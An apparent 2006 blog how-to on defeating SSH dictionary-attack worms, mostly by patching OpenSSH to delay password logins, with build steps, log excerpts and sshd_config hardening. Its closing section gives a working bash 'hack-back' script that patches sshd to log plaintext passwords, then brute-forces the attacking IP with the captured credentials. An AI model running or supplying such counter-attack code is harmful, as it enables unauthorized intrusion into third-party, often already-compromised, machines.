Thursday, September 28, 2006

SSH vs Script Kiddies How-to Guide

For Mandriva Linux 10.2, 2005LE

September 2005
Scope


Some idiot created a SSH worm that uses a dictionary attack to try to log into a computer over port 22. The worm tries to set up shop on your computer and tries to find the next vulnerable computer. This clogs up networks with bazillions of SSH login attempts.

A number of people created scripts that scan the system log files to identify the IP address of attackers and block them either using TcpWrappers or Netfilter. The problem with these approaches is that it consumes local computer resources. It also creates the risk that you can lock yourself out accidentally - maybe not a problem if the computer is in the next room, but it is a serious concern if the computer is far away on the other side of the globe.

Another solution is to set SSHD to use a different port. This will work, till the attacker adds a port scanner to his worm.

What is needed is a simple solution that consumes the resources of the attacker instead of your own. This little guide shows how to slow down SSH password authentication to accomplish this in a single line of code. This simple modification has been proven to completely defeat the attack, as discussed below.
Get It

You can get the SSH source code from the project pages at http://www.openssh.org. Download and store it somewhere, then make a small one line change and compile.

First we have to ensure that it will in fact compile and sort out any missing dependencies:

$ tar -zxvf open[tab]
$ cd open[tab]
$ ./configure --prefix=/usr --sysconfdir=/etc/ssh
$ make

If you are running Mandriva, then you should not have any issues, but SSH depends on the SSL library, so you have to do a test compile and fix any issues that crop up.
Hack It

The solution is to slow down password logins, but not affect public key logins. This way, if you are using public keys, login is immediate, while if someone uses password logins, he would have to wait a few seconds. This is not a problem to a person hammering away at the keyboard, but it will slow down an automated dictionary attack enormously.

Edit the file auth-passwd.c and add the single line 'sleep(10);' to it, immediately after the variable definitions:

int
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif

/* Password authentication delay */
sleep(10);

The sleep() function allows the system to schedule other activity and come back a few seconds later. Therefore, this is an efficient way to waste someone else's time.

Now recompile and install, then restart sshd and test the new super slow password login:

$ make
$ su
password
# make install
# service sshd restart
# exit

$ ssh localhost
password
...long time passes...

Now you are the proud operator of an official Skr1pt K1dd13 T0rtur3 Mach1n3...
Compile Problems

If you have an older system and you have multiple versions of SSL installed, then compiling SSH may be a rather traumatic experience. I wanted to implement my fix on a Red Hat machine and had to spend a couple hours hacking away at it before it configured and compiled:

#! /bin/bash
# SSHD Compile and Install is just a wee bit problematic.
# The following overrides for OpenSSL gets it going.
# GCC says that the -R option is not recognized,
# so I guess you can leave that out.
# Anyhoo, this works...
LDFLAGS="-I/usr/local/ssl/include -L/usr/local/ssl/lib -R/usr/local/ssl/lib"
export LDFLAGS
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-ssl-dir=/usr/local/ssl
make
make install

Clearly, the trick is to play around with the various paths defined above, till you get it to work. Some trial and terror...
Results

The big question is of course: Does it work? It sure does.

Before the implementation of this simple one liner, a server could slow down to a crawl while it gets tens of thousands of login attempts, two or three times a day. Now it still gets two or three attacks a day, but the attackers give up after only eight attempts.

# tail -n 10000 /var/log/secure | grep "password"

Sep 7 12:05:34 ns sshd[13324]: Failed password for invalid user lpd
from 61.17.77.2 port 60882 ssh2
Sep 7 12:05:34 ns sshd[13322]: Failed password for invalid user lpd
from 61.17.77.2 port 60811 ssh2
Sep 7 12:05:34 ns sshd[13326]: Failed password for invalid user lpd
from 61.17.77.2 port 60889 ssh2
Sep 7 12:05:35 ns sshd[13328]: Failed password for invalid user lpd
from 61.17.77.2 port 60893 ssh2
Sep 7 12:05:35 ns sshd[13327]: Failed password for invalid user lpd
from 61.17.77.2 port 60890 ssh2
Sep 7 12:05:36 ns sshd[13329]: Failed password for invalid user lpd
from 61.17.77.2 port 60894 ssh2
Sep 7 12:05:37 ns sshd[13334]: Failed password for invalid user lpd
from 61.17.77.2 port 60881 ssh2
Sep 7 12:05:38 ns sshd[13336]: Failed password for invalid user lpd
from 61.17.77.2 port 60896 ssh2

Sep 7 15:05:46 ns sshd[14117]: Failed password for invalid user a
from 211.219.20.245 port 1931 ssh2
Sep 7 15:05:55 ns sshd[14119]: Failed password for invalid user a
from 211.219.20.245 port 2371 ssh2
Sep 7 15:06:06 ns sshd[14121]: Failed password for invalid user a
from 211.219.20.245 port 2805 ssh2
Sep 7 15:06:15 ns sshd[14123]: Failed password for invalid user a
from 211.219.20.245 port 3255 ssh2
Sep 7 15:06:23 ns sshd[14125]: Failed password for invalid user a
from 211.219.20.245 port 3573 ssh2
Sep 7 15:06:26 ns sshd[14127]: Failed password for invalid user a
from 211.219.20.245 port 3692 ssh2
Sep 7 15:06:33 ns sshd[14129]: Failed password for invalid user a
from 211.219.20.245 port 4011 ssh2
Sep 7 15:06:36 ns sshd[14131]: Failed password for invalid user a
from 211.219.20.245 port 4137 ssh2

These dictionary attacks are really lame, starting at 'a' for 'absolutely retarded', yet they do find servers to infect, showing just how many retarded sysadmins there are in the world...

The moral of the story? Use long user names and random passwords, or loooooong passphrases like 'ohmygodtheykilledkenny12 345' or some such.

In general, throttling of network services is a very good way to limit abuse. A simple sleep delay added to any online form submission will prevent abuse, while regular users won't notice anything.
Analysis of the Attack Program

I have subsequently obtained copies of three of these attack scripts. I had to do some debugging to get them to work, but they all depend on libssh and all suffer from the same problems. Essentially, you feed the program an IP address, a list of usernames and passwords and let it go. It then does a complete permutation of the two lists.

One of the scripts is multi threaded, but libssh fails when more than eight threads are enabled. This explains why all attacks come in clumps of eight, since that is the highest number of threads that libssh can run.

It appears that the login timeout is hard coded in libssh and the 10 second sleep() that I have introduced causes libssh to fail on every login attempt. Therefore, this modification is very good and completely defeats the attack.
Other Configuration Improvements

The /etc/ssh/sshd_config file has a number of features that you can use for further protection. First of all, you could disallow all password logins and only rely on public keys, but make sure the public key login works, before disabling password login. You could also set a list of user names that are allowed to use ssh, thereby disallowing all common users, who may have bad quality passwords. Here are a few configuration items to think about:

Port 2222
Protocol 2
PermitRootLogin no
AllowUsers herman webmaster joesoap johndoe
PasswordAuthentication no

Note that you can specify multiple ports and make sure that the new port works through the firewall, before you disable the default port:

Port 22
Port 2222

Change these things with care, since you can lock yourself out!
Turning the Table

This attack is guaranteed to be one on one. Therefore, it is easy to run sshd in debug mode and capture the attacking IP, Username and Password, then do a reverse attack on the originator. As it is very likely that the same script and attack vectors used against you, were also used to subvert the attacking machine, a reversal will eventually yield the login data of the attacker:

#! /bin/bash
# SSH Honeypot
# This script reverses a SSH brute force attack onto the attacker.
# The counter attack uses the same brute force script that the
# attacker is running.
# Assuming that the same data set was used to compromise the attacking
# host, this will eventually yield the username and password of
# the attacking host.

# Modifications required to SSHD:
# We need to make a small modification to SSHD to cause it to
# reveal the password when running in debug mode.
# Add the following line to auth-passwd.c, procedure auth_password():
# debug("auth-passwd.c: Password %s ", password);
# then recompile SSHD.

# Forever
while [ 1 -eq 1 ]
do
# Run SSHD in debug mode, single threaded
data=`/usr/sbin/sshd -dDe 2>&1 | grep -A 2 "debug1: attempt 3"`

# The $data looks like this:
# data=$'debug1: attempt 3 failures 3rn
# debug1: auth-passwd.c: Password hello rn
# Failed password for root from 127.0.0.1 port 4199 ssh2r'

# Parse the string for the three parameters
# The brute forcer wants some of these in files
# so we echo them to files.
pass=`echo $data | cut -d " " -f 9`
echo $pass > pass
user=`echo $data | cut -d " " -f 14`
echo $user > user
ip=`echo $data | cut -d " " -f 16`
echo $ip > ip

# Reverse the attack
./ssh2_brute -h $ip -u user -p pass -c 1

# Check the result
if [ $? -eq 1 ]
then
echo "ATTACKER FOUND:"
echo IP=$ip, Username=$user, Password=$pass
echo $ip $user $pass >> attackers
fi

done

exit 0


La Voila!

No comments:

Post a Comment